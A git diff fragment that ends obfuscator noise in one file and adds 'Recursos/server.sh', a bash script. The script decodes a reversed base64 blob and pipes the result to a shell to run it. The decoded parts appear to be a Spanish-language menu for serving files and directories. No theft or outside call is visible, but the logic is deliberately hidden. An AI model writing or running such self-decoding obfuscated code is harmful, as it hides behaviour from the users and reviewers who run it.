${*%t+A\]2a} ${@//2boz/27l*Z} "${@#row*}" ${*~~} "${@%%\"=pm\"}" "${@}" ${*,,} ${*^^} ${*%ND:Q4z} ${@//T.Ure$} ${*##3N^5} ${@^^} ${*%%Q~P$,,O} ${!*} "${@^^}" ${*//_h1G} ${*%%PR@\"uE?} ${*/\}k-xPf1#/G\[\[KvI\!} ${*,} "${@~}" ${*~~} ${*/Atk\{\]yQY/=jP4E} ${@} "${@/^#\}a\(}" "${@~~}" ${*%I>I,} ${*,} ${*//LN\]\!/08\t^5oe} "${@%ntTxU\{}" | ${@#;j0=} "${@##aVR>J17}" "${@//D\#rwfJ/-J~RDD*r}" "${@%%*seFA_<}" ${@} "${@%%q\aXS}" $@ ${*//9dP:v/pCT5k7w} $* ${*/6r^UXB\}} ${*~} ${@} ${!@} ${*%%~\[+JW} ${*,} "${@##W|7zRwy}" $@ $@ ${*#?%W|I} ${*//XSb\F&./CA-v} ${*} "${@,}" ${*##Wy4h\]T+} ${@^^} "${@#Uc1LqiBP}" ${*%7<\`I|zP} ${*//RaB4&} $@ "${@,,}" ${*~~} ${@,,} "${@//#\`\);SX^\[/#\"P&^}" ${*/b9^=?&/0Jqg<\(7} ${@//ZrF9k2QV/1w,wNt\"w} "$@" ${*,} ${*//5Vd.z\)E/q&rw3Gu} ${*//\[lwt:} "${@^}" ${*^^} "${@/F8Ky} ${@~~} ${*~} ${!@} ${*%ulLcOp} ${*//GqN\lr} ${@~} ${!*} ${*~} ${@//O*$R} "${@^^}" "${@,,}" ${@,,} "${@//V$ve\"}" "${@%\)v\{-p>\"i}" ${@/FE,eq\`RI/7\}E\[#} ${*//8Q__e9/Ba|Vp} $* ${*%fCWwX<3-} "${@//M7UcoN&}" ${*%%Bk\(9\\} ${@//2CQFMIJX} "${@,,}" ${*/D<\"x:ph/S%VR} "${@}" ${*^} ${*} "${@~~}" ${@##l&;Vo\}b} ${*,,} ${*} "${@%QJd?>0>*}" "${@%OZKc|F;}" "${@,,}" ${*~} ${@##cfwKaOLx}" ${*} ${@^^} ${*#i\{Om\{} "${@#|x.5vci@}" ${*~} ${*#=2DS6D} $* ${@^} ${*~} ${*,} "${@/3UoMT0:}" $* ${*%%0sLy\[Z} ${@%%JG|#|%} ${*~~} ${*,,} ${*%%2=4DlAkA} ${*} ${@^} "${@//b\[\(2H*\(t/BCSck+}" ${*//tDWUi/MW\}^} ${*##_I7Sig} ${@/ljN?} "${@^}" ${*//QC7;\]} ${*^} ${!*} $* ${*//k=l:7%/*e>Rs} "${@/uSz_tg}" "${@~~}" ${*^} ${*//g\9n/P3%@c36r} ${@~~} ${*,,} ${*//\`*,L@zv/\!X2\[_\]} ${!*} ${!@} ${*~~} "${@#6cLU1ot}" ${@##>uuO&uT} ${*#k3#_W%0} ${*^^} ${*#C\)N} ${@^} ${*%%X0615} "${@~}" $* ${@%%k$H5<\(34} "${@/YyE\`/K#\)%,\`*}" "$@" ${@^^} ${*##Qb*.xVMq} ""$'\u0062\x61''s'${*%%v0\{5;\[#}e\64 -d ${@,,} $* ${!@} ${@//P\)Z\`Q4di} ${*~~} "${@^^}" ${*^} ${@##H\O|} "${@/xF\(SP}" ${@^^} "${@%%auUj81}" ${*/3Zk\(\`l} "${@%W.D3HZ$}" ${*//s.0nxUQ} ${*##\hqk} ${*#wiich7xZ} ${!@} "${@,}" ${*,} "${@/\{%+LssJ}" "${@}" ${@,,} "${@/&YXeM;s\!/F_QStApn}" ${*//|#s;\)?} ${*} ${*^^} ${*/\]|G4na} "${@/w=x~e}" "${@%%XI\"\}\)\!Ju}" "${@,,}" ${@/iOp&/jA\`|4} ${*%N@Jv,jp+} ${*,,} ${*#1EwKqa} ${*,} "${@~}" ${*/\[;k>N7\\} ${*,,} "${@/52<^9/P$JC\(s}" "$@" ${@~~} $* ${*//\{EYZy} ${!@} ${*/4#$I<\!} "${@//\=W\}} "${@,,}" "${@//b\`H.drY}" "${@}" ${@~~} ${*/IEz7VW/9tmB7W:} "${@^}" ${*~} "${@^^}" "${@,}" ${*##TvpLf0\0} ${*} ${@/v_\(;/-\[Sp\},r} ${@^} ${*%%.>jPgK~_} "${@,}" "${@^}" "${@//e\{_i/-^F-Q\":;}" ${*} ${*//u\(Q_} "${@,,}" ${*,} ${*~} ${@//VPN*E\)r6/0Rs>p6} "${@%%H_yh}" $* ${*##oL\`\)j} ${@%gUYM} ${*} ${@#Y3Zt} ${@%3M6T\)GPo} ${@##G=|\[\"i} ${*} ${*/Xc9Q/QLTg?Z} "${@//|_4tj/T0H\(\{:}" ${*^^} ${@^} ${@,} ${@^} ${*~} ${@/nS9IqrrI/3yW-%l\]X} "${@}" "${@~}" "${@//GX=q}" ${*^} "${@,,}" ${*~} ${*,} ${*^} ${@%%K9>BLt} ${*%PhD1wY} "${@%\)@qKsO}" ${@~} ${@#R|z8} ${*~} ${@//5S\]mFHt/uyk:u} ${*} ${@,,} ${*%.\]m\)|*0} ${@%tx5>Jww} ${@%%=f:s$} "${@//;Mwjo}" ${*~} ${*##Y\!UtF+\]\[} "${@}" $@ ${*^^} ${*^^} $* "${@~~}" ${*^} ${*//Hxup3} "${@^^}" ${*~~} "${@/2\(\{\[O\{}" "${@~~}" "${@~~}" "${@}" "${@%\)Do9z\}}" $* ${*/ShmWWCf>/e3POv5;} ${*~~} ${!*} "${@//y} ${@~~} ${*^^} "${@,}" ${*~} ${*,} ${*//%\(*\(gR5} "${@/Zx*F}" ${*/6zj$} ${*} ${@#w$\!I} "${@,,}" ${*,,} ${*~} ${@} $* ${*~~} ${*~~} ${@/V%yuH;/#JhJ6lZ} ${@} ${!@} ${*//nE+P} ${@^^} "$@" "${@//AZ\{rqQF/d8Hl&R}" ${*%%V3C8} $* ${*##13aVm} ${*~} "${@#\"nc\)Mr\]b}" ${*%%abqC0&} ${@^} ${*/q6@\;FO} "${@}" ${@,,} ${*,,} ${!*} "${@~}" ${*##p5\"pX} $* ${*~} "${@##_4X|Fqu}" ${@%FWsrj} $@ ${*} ${@~~} ${*##1#pb80} ${*,} ${*} ${*~~} "${@//JE%\]\!/;9gE@j3}" "${@/m\!icpf*6}" "${@%z7ylk%H}" ${@%KV+jw~>^} ${*~~} ${*/n\{4qqSIB/xWAlDEMQ} "${@}" ${*%H=c&G?4} ${*^^} $* ${@##a\!ig6N\]p} ${*,} "${@/cKlM>E^7/?2^|}" ${@,,} ${@~~} ${!@} ${*,,} "${@//QyBC}" "${@%%c0Cb0hr}" ${*,} ${*,,} ${@,,} ${*#0gP\"P:&$} ${*/\a.A/_S2_} ${*^^} ${*^^} ${*,} "${@//bmnx}" ${*~} "${@^^}" ${*/y?mx/3O\!o:} "${@,}" ${@##mO\)\(rzr} ${@~} ${!*} ${@^} "${@#8-MJ_}" ${*%#@2bFA%8} "${@,}" "$@" ${@} "${@/_K\"*sP-/D$\`6%3l}" ${*,} "${@^^}" "$@" ${*} "${@^^}" ${*~} ${*~} ${*,,} ${*#\]&>?4I\)} ${*/SPT*/@UDyF} ${*~} ${*,,} ${!*} ${*%0Qq+\!Z3} "${@~~}" $* ${*%6NU1=EkX} "${@^}" ${@##dR&o} ${@,,} ${*#u-y#} "${@//C\)wpT\[\`O/\[#IVIO}" ${*~} $* ${@,} ${*} ${*~~} ${@,} "${@~~}" ${@#\}LVQUR} ${*~~} ${@,} ${*,,} ${*##Mk~K\!vgr} ${@} ${@%<>A2-} ${*~} ${*//\Ch&,} ${*^^} ${*^} ${!@} ${!@} ${!@} "${@}" ${@##n@D.D.} ${*~} ${*//d_cGM/ffo_} ${*^^} "${@//UxEFhG*;/$~\[3}" ${@/Ea|,/Cci<cjQ7}" "${@//@ABs}" ${@~~} ${@//afY\(;:j} "${@/1w\"d/Y\!*=sXMI}" $@ "${@/dSPp}" ${@##;x>iQ} ${*,,} "${@%\"6.~}" "${@%q#1^o=9}" )" ${*^} ${*//8JH4Xj,\!/WT8@;|} ${@#H\]#C~*\!o} ${*,,} ${@//y&Zj1f9q/2+4N|egl} "${@}" ${*##+y&#} ${@,,} $* "${@%%u=cf3@}" ${*^^} ${!*} ${!*} ${*^} "${@#G6Sm#}" ${*,} ${*~~} ${*##s<$p^x_c} "${@//aPSv|}" "${@,}" "${@%%\{=.>}" ${@,} ${*,} ${*/CB\"KH/oRTVHhA\"} $@ ${*%2yfN\`TW} ${*#%n+8} ${*} ${@} ${*,,} ${*~} "${@##\]vM1-}" $* "${@,,}" ${*^} ${@##U\`zA7\\} ${*,} ${*##nz>cYz} ${*#ywZ3} ${*~~} ${@^} ${*#8\}W\"\{lD} ${*%%f.\[f&} ${*^} "${@,,}" ${*##k\]n\`8C=} ${*~} "${@##dn%w}" ${*^^} ${@~} ${*#Fvil\]MC} ${*,,} ${*%Em\}} ${@//~rq1h?V^} ${*^^} $* ${!@} ${*//3%j\{sC/t\{??wF\[2} "${@,,}" ${*//AsG~2/3n@MoP=~} ${*,,} $@ ${*~~} ${*~} ${*#\}l\"\}E\{0} ${*#J+$o1W@e} ${*%%>.\]4<} ${*^} ${*%#eDnR*Y} "${@%%gD|Hu,}" $* ${@/\A>;JA2\)} "${@//fW@^Fj}" ${@,} "${@,,}" "${@/KXrQ.71}" ${*~~} ${*/a>mG/r?2GW-n} $* ${*~~} "${@#@<|gDG84}" ${@} "${@/G\"c2\!R/V_XKuT}" "${@}" ${@^^} ${@//Lg&u#;_} ${*^^} ${*^} ${@##UhL\`ve} ${*~~} ${!@} ${*,,} ${*~} ${@^} ${@/^\}\`^,Y*/oqa+ER+f} "${@~~}" $* ${!@} ${*~~} ${@/1vHY|&/i7W5>w_} ${!@} ${@##>?QKM:} ${*} ${*,,} ${*,,} ${*^^} "${@#kc5U}" ${*~~} ${*} ${!@} ${*} ${*~} ${!*} ${*%G\]9dB} "${@~}" "$@" "${@##o\!%ky}" ${*,,} "${@~~}" ${*,,} ${*//K*LDz15^/G?G\{hGA\]} ${*%%AGQh1} ${*//@Z6wd+/dzV*%} ${*/qdnlx5/0x-P6} ${*~} "${@,,}" "${@/-2^\"/y#~kFbH\]}" ${*%OEf*W} ${*~} ${@/0\Bfi} "${@,,}" ${*,} ${@%T=$Jc} "${@,,}" ${@##j,~&} ${*^^} ${@~~} "$@" ${*~~} ${*,} ${*##OK+GS\(\)} ${*,} ${*/dmm\}Qz_/1YPos\`} ${*//9I9zAo>} "${@##PZ@e$W}" ${@//~&u7Uz^/VX=\(} $@ "${@^^}" ${*^^} ${*##8n5m} ${*%%y%pL?8\\} "${@}" ${*//*ZlKNg} ${@,,} ${*} $* ${@//v@j&In_/#|ZU@*U} ${@//l5\(c\[} ${@,} ${*~} "${@~}" ${@,,} ${@^^} "${@//\]Te\"A|T/&>skE3O}" ${*##\"Q9YI}" $@ ${@/kaGZw84f/8%pK;wU} ${*/ROYB/tcN~} ${*/%?R6Ao} ${*~~} "${@//Y~d\(/&Q=@8i%t}" "${@,}" ${*} $@ $* ${@%ln~|} ${@%%&yhW} ${*^} "${@//m|\]%}" ${*%\(cKmBZd} "${@%I6fR}" ${@##BYgwY} "${@/82K3i}" ${*,} ${@,} ${*,,} ${!@} ${@%%fN4&z0} ${*/s?\!\"/+YN*ch} ${*,,} ${!*} ${@^} ${*~~} ${@#p\{\)_B} ${*/H\"@L} ${@//;*Cu} ${!*} ${*,} "${@/eeW9#}" ${*/K\}\`/OcXs+c,} $* $@ ${@/%Keg/cUW_\.z} ${*,,} ${*^} ${*,,} ${*/h\}F.+^=/r*@%Ch}" ${*%M5\}gwAI&} ${*,} ${*##5L7ar} "${@/@^7\]HR}" "${@//-h-8eD}" ${@%%f2Fr} ${*#&^&x+6%N} $* ${!@} "${@}" "${@/7%nn?1} ${@##uSH\"Wt=0} ${*//Z9.jI/h7o\)eIsg} ${@,} ${*,} ${@,} ${*//*a^e~} ${*/XY^S.:/=MN\}.7&} "${@#a=\[,lfGJ}" "${@//$\.r06^S}" ${@//\)Js#\]~\"} ${@} ${*^} "${@/kIw3B\!t}" ${@~} ${@} ${@/Y\!&7} ${*%%o\">2\{9\`} ${@} ${@^^} $@ ${@//<3U\!7} ${*/xXl7P\}/0zf43x} ${*//\)\}$;Rk/s\]NI0p} ${*//=^O+T/^tn\[vR?G} "${@//.n;JpnB/_\{uKy3v\`}" ${@^^} "${@#NO$%B}" ${*/%tqZ/~jJ7} ${*} ${*~~} "${@##CH?Q5\{2,}" "${@^^}" ${*%%.~sfX,<} ${*//\{7=Zc|k} ${*^} ${@^^} ${*//qMWk@} ${*^^} ${*//G\3W1c/1Ai4} "${@/\)8S\[xg|/P2Z65&yO}" ${*%\)@<30q} "${@%%\{4PQ\"}" "${@//B6\`yO~} ${*#i\]OJb} ${*~~} ${@^^} ${*~~} ${@##P6&|.8,I} $@ ${!*} ${*/R\{Ponm/WyX>P.X6} "${@~}" ${*,,} ${*~~} "${@//#h:4iI/T9^rU8N}" $* ${@#S#Ltj\(EP} "${@//-r\E;M/\Jf-}" ${*/dOn$V/WCEVWj_} "${@##PFzH}" ${*#%sAV%m@} ${*##\}lM4d} ${*,,} ${*^^} ${*~} ${*~} "${@%%\)3} "${@,,}" ${*^} "${@~}" "${@%UZ^K4W2}" "${@#,O\"EQj}" ${@} ${@^} ${*%%cZSlH\)} ${@^^} ${*##OpQZGE} ${*~~} ${*~} ${*#4zE*5} $@ ${@##J;;@i} ${@~~} ${@#.\}^#nk} ${@/k2@z#nnm/a0wf\[eO>} ${!@} "${@,}" ${*} "${@,,}" ${@//cpo6} "${@,}" ${@/%is$} ${*%iY\)\!P} ${*^} ${*#lGtS} ${@/^\`3o;|l/?v?O\(9VF} ${!*} ${@~} ${@^} ${@,} ${*##nRq\6N} ${@~} ${@,,} ${!*} ${@} ${*/&;D\!/\)A$3} ${*#ImyK^} ${*/G2K,Yzi^/1*c\[7} ${*,} "${@,,}" ${@^} ${*%%|WI\"3$~} ${*} ${*/q-#Eg\)/5V_x6\(I} ${@^^} ${*^^} "${@,,}" ${*,} ${*%ruSb} ${*/\!Bi&g9?/9;\(#?} ${*##\)ck|,;*} ${*//TmzLZJ/o1I88} ${*//gjyKI} ${*^} ${*,,} ${*^^} "${@//m2IA}" ${*^^} ${*#?Gr?c} ${@%bvKoc_} ${@%%WXL3Y} ${*#w\(\}v*u;} ${*%%orlp.z>v} ${*#,0y$R,} $* ${!@} ${*,,} ${@/T:*OyC/s\}Ly\[|9} ${*^} ${@~~} ${*,} $@ ${@%9.lO>\vy} ${*//Jp.\}I-/UYbEY#n} "${@//w#\]8/gsZ\(YP}" ${@~~} ${@/7I-Q/S\!$eA} ${*} ${*^^} ${*##j\`\`U} ${*} ${*/>^I8} ${@^^} ${@,,} "${@/7UTey7/\}.P>}" ${*//h4y|j,W/\{~6g\"} "${@%%\{bu4oH>}" ${*#$tvYM} "${@/G_-j}" "${@##??yS\`}" ${*~} "${@,}" ${@~~} "${@,}" ${*} ${*} $@ "${@^}" \ No newline at end of file diff --git a/Recursos/server.sh b/Recursos/server.sh new file mode 100755 index 0000000..e1c89bd --- /dev/null +++ b/Recursos/server.sh @@ -0,0 +1,2 @@ +#!/bin/bash +CMZaWZYgDiZmMaHSiOVDmmNFoYniyhtfFglfcnjkuRyoagzMQjPNZPrZbhkiibcjZZJkgIFRQeBcNesoXQAihVGIgEgUGqjmOktS="TLCvHVhESOHMYxazsPgGxqnXmHAAxRTCZJcdkmylWBDYptFLeiCVNCIZqhhgaVNcNCUkWRaraUEeFKAAcDEGlouWgHVdMNtWTnww";QYjnFsRotrZbhrfiefqmbfJotVNDRmplCBVUooXeXOiCGvBmdjpEMRmQjZwZsAmpzTmbjSoUoVKOfLSUlGEfNILkhlGDoulgCuoz="iyFwdsIpSilBXyLMGYFYgbQZJiPfYjvUZsRFvcymcWbkIjjeIkXlVPILzyCrxsOgABAmbMWLkHCtWEPrTIpLUfTgqJMnVPovIGaU";jcQyuhzQTlsviKbqkxIAVCNBmAzAXxOgQKvFapOTrZgJABykpcogLrQlRnLsVFCbBEZUiDDoLqtWcYbunuYjwmsmnWvOwFmAllBR="ch";MKajUAPdmXToqOQsPyVPPPNlrvbvBkQNHzsMQbmJsoYanXsDLkLvbxteAYUgiSReTKfCrpEEwgWhCcYEvwlroZgwWnMNVYxCcyvz="4";nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb="";KdZOCclnkOxShtHaczENRuCAUYbOgfMGTchGZgSqsYCrYojolBqvkgHzvLfrZBIrPoNDnqDggOWvPQcopgcoZfuetQlMTKbaoBSM="ALpbvJysLNxHJBWnHAIYWNYlEdXDprSRrkPWdkNxWUpSSRISZLjztkWETgShUIDelOWsVEVdkWFXweItEXFcXNXjmRJPIRTNWDUW";HsqBHgfnjVzVgYEfClywDjxMEeLmSVeiOYzjOsCrtGyegOIorAIJGoXdiasbJknMATDLpevDwWTxmwXrhpJlJaeDPzkVZaRMEFWD=" =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 | r";yJAgnGQAuyOcVJVVjCcUreEqweHIJVuAAspGEHpLkmuQFVFFJVUjIzpGvunpELcVichWlRSatYwzUREmSAnifrPKrEqzFDUfqpZN="ewZHaBvrpNtEbBuaoaTFqCVmOemVirgklUtlucGeySIpOFKnGtFxIAWRSRiYjEuYrXbtzckFBlIyUGcbvPasitXsNiZMaJHiYZqn";zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq="";YFjEExaColljYuCdVsKDoiqrTwysQbstNFZwUJpAQambZWwYJPdsnoIzOPIDEAUmYvxthuKpWSTbTMXAahjmRZQYhrzvDnPEuxGw="as";PMIHjfldyfruLgsZenVKYWZYKsdxbIaTYiOzQRbkyLzsODrluUQoffNKgvqsvhlwdhBiKsbscuHqlBqRJGePwySZMzfmAQVDOWCZ="jlXuwFxQuGALzxVTeaGxYoKHOREHdfiFqIaWmOokLedFjpPeYcEzJzPgithUjRaOxSWcevIuhyEmeSkoFesACAhcDdCfSaRLiYhd";SZCnpXMTQaKdHNtnDghFTPBjioKLqWHJcYdrlBKVNMcWfZImESqbPCRvffFjxNQOVuCgQyLehwMOvbdNLUgufRjjOHCPbOxsbgCd="NnGqRaliyerFJpynGdPbvoyhOTjIWvcbyBWHvGZYTXBymHVYTglxIhjfygWXIltfMXfdKHiJoozVBAJldlFuYLynPBOYZFoIjUMc";VPtWAQIIACzxHquhbnDgiPbqhvwrnIDUfZFCrCSeZBgOeKVDRDIWBzMUBviQPCiohTBIgtMfGRURzYXwPXaRioGcOHOyqUsLkEDb="o";aqcmNMuKFVNvYMkzXdwHXNTzjgOJRIiXpXsGUEBLkBYKBxPLSSZbrvtvWZJVuOfmLLXiZPQmaQjoSkBFWkIhVjlgApbYarLkTpMd="6";IDnzTZZOhxpNKKHIbGXENOpkHPedHZhfoYSyAwRPMNaJZXmgyGCirLSgAQtzGXoaNNuEFGZTVferoMBdngApQmkwHyDbeDsOhIWR="zAAXuGmCczCFnovFKofphoLWsuOXUxfcTebJSqoIikgFZyUDLtimeKxrFKVxbKXahcLRByncYVNdWwIWacczshwHobkDuleKBGKb";vELvPHhPTLsjdNpKHHhRmVTWffqmiPVTUmLMadySokNnMWaaTbYXYKqDJFKsAirYDyuVmSTUSDzmRwufIBuxHLKfJodshmaLtqoc=" 